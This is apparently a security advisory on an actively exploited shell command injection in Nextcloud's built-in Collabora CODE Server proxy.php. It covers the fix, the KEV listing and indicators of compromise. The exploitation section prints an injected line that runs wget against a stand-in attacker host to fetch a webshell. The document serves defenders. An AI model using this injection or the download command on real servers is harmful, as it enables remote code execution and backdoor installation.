The Collabora Online built-in CODE Server has a shell command injection in proxy.php that has been in the wild since at least September 10, 2026. The vulnerability affects Nextcloud instances that use the built-in CODE Server app (richdocumentscode), not standalone Collabora deployments. CISA added it to the KEV catalog on October 23.

Why this matters

Most people running Nextcloud with Collabora Online don’t think about their CODE Server as a network-facing component. It runs on a local port and is managed by the Nextcloud app. But proxy.php accepts requests from the Nextcloud frontend and forwards them to the CODE process via shell commands. When CODE is not running — for example, after a recent restart or a crash — the proxy falls back to a different execution path, and that path doesn’t quote its arguments properly.

The result is arbitrary command execution as the web server user.

How exploitation works

The attack surface is narrow: you need the proxy.php endpoint reachable from the internet (which it is by default on standard Nextcloud setups) and the CODE server to be stopped. The attacker sends a crafted request to proxy.php?status with a command parameter that contains a pipe or backtick. The unquoted variable expansion turns something like:

/libreoffice --headless --convert-to pdf "$file"

into:

/libreoffice --headless --convert-to pdf "$file" | wget http://attacker/shell.php -O /tmp/shell.php

The attacker doesn’t need to wait for the CODE server to be down — they just need the proxy to handle the request in fallback mode. In practice, that means any restart window, any crash recovery, any moment when the service isn’t actively serving.

What the users are seeing

On the Nextcloud forums, admins report finding webshells matching patterns like shx*, shrf*, and the newer Nx_*.php names in their web roots. The shells were planted by different attackers using different payloads — some drop a simple PHP reverse shell, others install a more persistent backdoor.

The attack has been observed since September 10 and the CVE wasn’t published until October 14, which means at least a month of unpatched exposure.

The fix

Update richdocumentscode to version 26.4.303 or later (Nextcloud app version). The fix properly quotes the command argument in proxy.php. If you’re on a standalone Collabora deployment, you’re not affected — this only hits the built-in CODE Server app.

Why CISA added it to KEV

CISA’s rationale is straightforward: exploitation is active, the vulnerability is in a widely deployed app, and the impact is clear (remote code execution on thousands of Nextcloud servers). The KEV listing means it’s now mandatory for US federal agencies to patch within 30 days.

What to check right now

  1. App version: In your Nextcloud admin panel, check that richdocumentscode is at 26.4.303+.
  2. Webshells: Look in your Nextcloud data directory and web root for files matching shx*.php, shrf*.php, and Nx_*.php.
  3. Access logs: Search for proxy.php?status in your web server logs going back to September 10. Non-standard command parameters indicate exploitation.
  4. Processes: Check for unexpected background processes (wget, curl, python) running as your web server user.

Further reading